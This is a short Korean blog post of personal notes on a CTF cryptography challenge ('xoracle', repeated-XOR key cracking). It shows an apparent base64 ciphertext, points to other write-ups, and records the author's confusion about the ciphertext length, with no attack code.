T6q1k98Erbzr/HB149X9JXQupeknEsk18rOGGwWqR3u1fNqfg6f98MIWVAl8ds4o/xM4HDzb06yLVT0z0GITwZd6R5SvopYWU1z042B+vKQG62DLSo9o5aIzXswRoSnUSjTNik9VU38/J3Hz9MFc2tXcitOo9b7JO7fmgZ+UMqhxL54cptTY5Pe9udXdiyuzMrN4aWepWjZpIWhJKewkttsgGVHSnjAxsi2q6ce5UoBt96zzzggSI7XjupuGGQ0xGZ3Ulte1VRoYUCPNwS8GB+7Rl8knnnvijMAniO2nljECr72YS3yFVMYlQA9n28NFKsRVknOI9kINp50Xeiaw6AdmtXuRlGdb0lMj/h8gay9Z0imttWkABOkvFFZ4j0Zbfx38ZigDVYr1YUc2OLmay+QpWL9VUexd5YtrvL0RLXhSEQ0G/q6ru8Mq3999h6GsigMN542hK4N61PQS0BCl88b+SAsgc6nzgrIVRMFMEeMDaSd0nw8cMrbFfAm7dS7ZmOQJgQhV4cgRQi26EV6OoQKQyo8Lo7kDmcXZQgvAlys8EpMtPi+OREn2Z04+Fm7pnhZM7R12Mp94hlv4CR/xLKflwvzhrciW6vU4kaytrzmSQ2RganxPo78opxFn0bUrtMWG6UoBxY1yLkmMrrVK+g1GR22NNMjvp6lFqwcJLuonrLW1Wng2Q61GiSrEMmYHe7i/E6ahVisO7ELCw1sbxBhiWPU+R51IJy5zk4SGDWyRcAZrH7xLRsa5XtCNLb5qml6oFbckHrpjqZ8nw5HRLotw6Mf/oFNGCgkW8FmumGqnIH/ekAZxIBiJBtIkV+olQT9gpJ4lPTmM+d1NNcmk9T6xnP6UyKtV1FQjzOreYwQ6oem7HcLtGumeKBr1L2lsecRf78WLhfgl0agPsvYVjsdOFUCfVGHpgWqhjY2CCzK1lwTtO47Waw8EzJsmEcsaibnUIbYPNAW1viKCit+4BY7S14enqHdWsjoNBaipLfpEdelbhij/MPFrdtI29oSmKq/zbC5G/F703SEPFzuGZN8ep6beQ088klOOdhpJF5xcLaZ2Y681A9Ur+73CEDlsxmPdWBTHnOCSZTIlnClgW05PF0q5P0KbN4XfubDlA/P/kuNUGGg6Q/s5BYlHq9il5gdIoAbCRsiWmc9BMf3RaIfNBPjYq8dPU7ZEhFfOvQ1ymqYZH6t9EUGTk2MsTW1srbfvQcCan+l12MuVckFVRh7kXu7Au2i2OzpZbqLV8blQcUT6eRLaS5YHPF5N0W3aN9ghCw728+YizQi1Rhm3vOTyHp6gzejGnXZZNmrVJtSxr9oHN4RhspKnZIhXvB+FfHxXJ58glA89yBD9Z/WylHFHFtIt7N7Ea6IwctY2NXhbZQkvJedMxbrsRsXvinybCKdtKDnVo3NclWMcSm0oeME5rPuRPXzrAXo8A0eiVXLzoM0yohBkUQDhzCgTniporgY/vNw/wtpezwisaoJoZRXO526WiTjs75q7sTWt0/AgGdNaXPbD5Ki8ahw3pOI=




ctf가 끝나버려서.. writeup을 참고


- Repeated XOR - 70 (Cryptography)


Cracking repeating XOR key crypto 


- xoracle writeup 





나 나름대로 정리해보겠다...고 생각하였으나; 개념은 이해가 가는데 코드짜기가 어렵다 + (이미 종료된 문제여서 더이상 암호문을 얻을수가 없다)

또... C의 길이가 1536이라는데에서 의문이 생기는데 이걸 이해할수가 없다.



'Write-up > CTF _ Write UP' 카테고리의 다른 글

[HITCON-Training] lab12 : secretgarden  (0) 2019.07.13
RCTF 2018 Writeup (cpushop / babyre / Misc+)  (0) 2018.05.21
DEFCON CTF Quals 2018 Writeup  (0) 2018.05.14
[WriteUP] Byte Bandits CTF 2018  (0) 2018.04.10

+ Recent posts